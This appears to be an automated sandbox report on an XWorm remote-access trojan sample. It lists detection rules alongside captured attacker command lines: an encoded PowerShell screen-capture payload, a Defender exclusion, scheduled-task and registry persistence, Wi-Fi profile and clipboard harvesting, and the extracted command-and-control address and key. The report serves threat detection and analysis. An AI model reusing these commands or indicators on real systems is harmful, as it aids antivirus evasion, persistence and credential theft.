Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious Startup Folder Persistence

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\program.exe, ProcessId: 2360, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\XClient.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\eternal.exe, ProcessId: 5604, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XClient

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAA

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\program.exe" , ParentImage: C:\Users\user\AppData\Roaming\program.exe, ParentProcessId: 2360, ParentProcessName: program.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 7544, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\program.exe, ProcessId: 2360, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\eternal.exe, ProcessId: 5604, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\eternal.exe" , ParentImage: C:\Users\user\AppData\Roaming\eternal.exe, ParentProcessId: 5604, ParentProcessName: eternal.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe", ProcessId: 4424, ProcessName: schtasks.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\program.exe, ProcessId: 2360, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo, CommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: consent.exe 6092 324 0000019985E22B80, ParentImage: C:\Windows\System32\consent.exe, ParentProcessId: 7816, ParentProcessName: consent.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo, ProcessId: 6092, ProcessName: svchost.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7984, TargetFilename: C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe', CommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe', CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4920, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe', ProcessId: 5520, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3pyiazzo\3pyiazzo.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAA

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\program.exe" , ParentImage: C:\Users\user\AppData\Roaming\program.exe, ParentProcessId: 2360, ParentProcessName: program.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profile", ProcessId: 7620, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T11:23:34.191338+0100	2853193	1	Malware Command and Control Activity Detected	192.168.2.8	49728	147.185.221.23	33942	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: EternalPredictor.exe

Avira: detected

Found malware configuration

Source: 00000000.00000002.1521249404.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["147.185.221.23"], "Port": 33942, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Roaming\XClient.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Roaming\eternal.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Roaming\program.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Roaming\skuld.exe	ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: EternalPredictor.exe	Virustotal: Detection: 56%			Perma Link
Source: EternalPredictor.exe	ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for sample

Source: EternalPredictor.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack	String decryptor: 147.185.221.23
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack	String decryptor: 33942
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack	String decryptor: <123456789>
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack	String decryptor: <Xwormmm>
Source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack	String decryptor: Group1
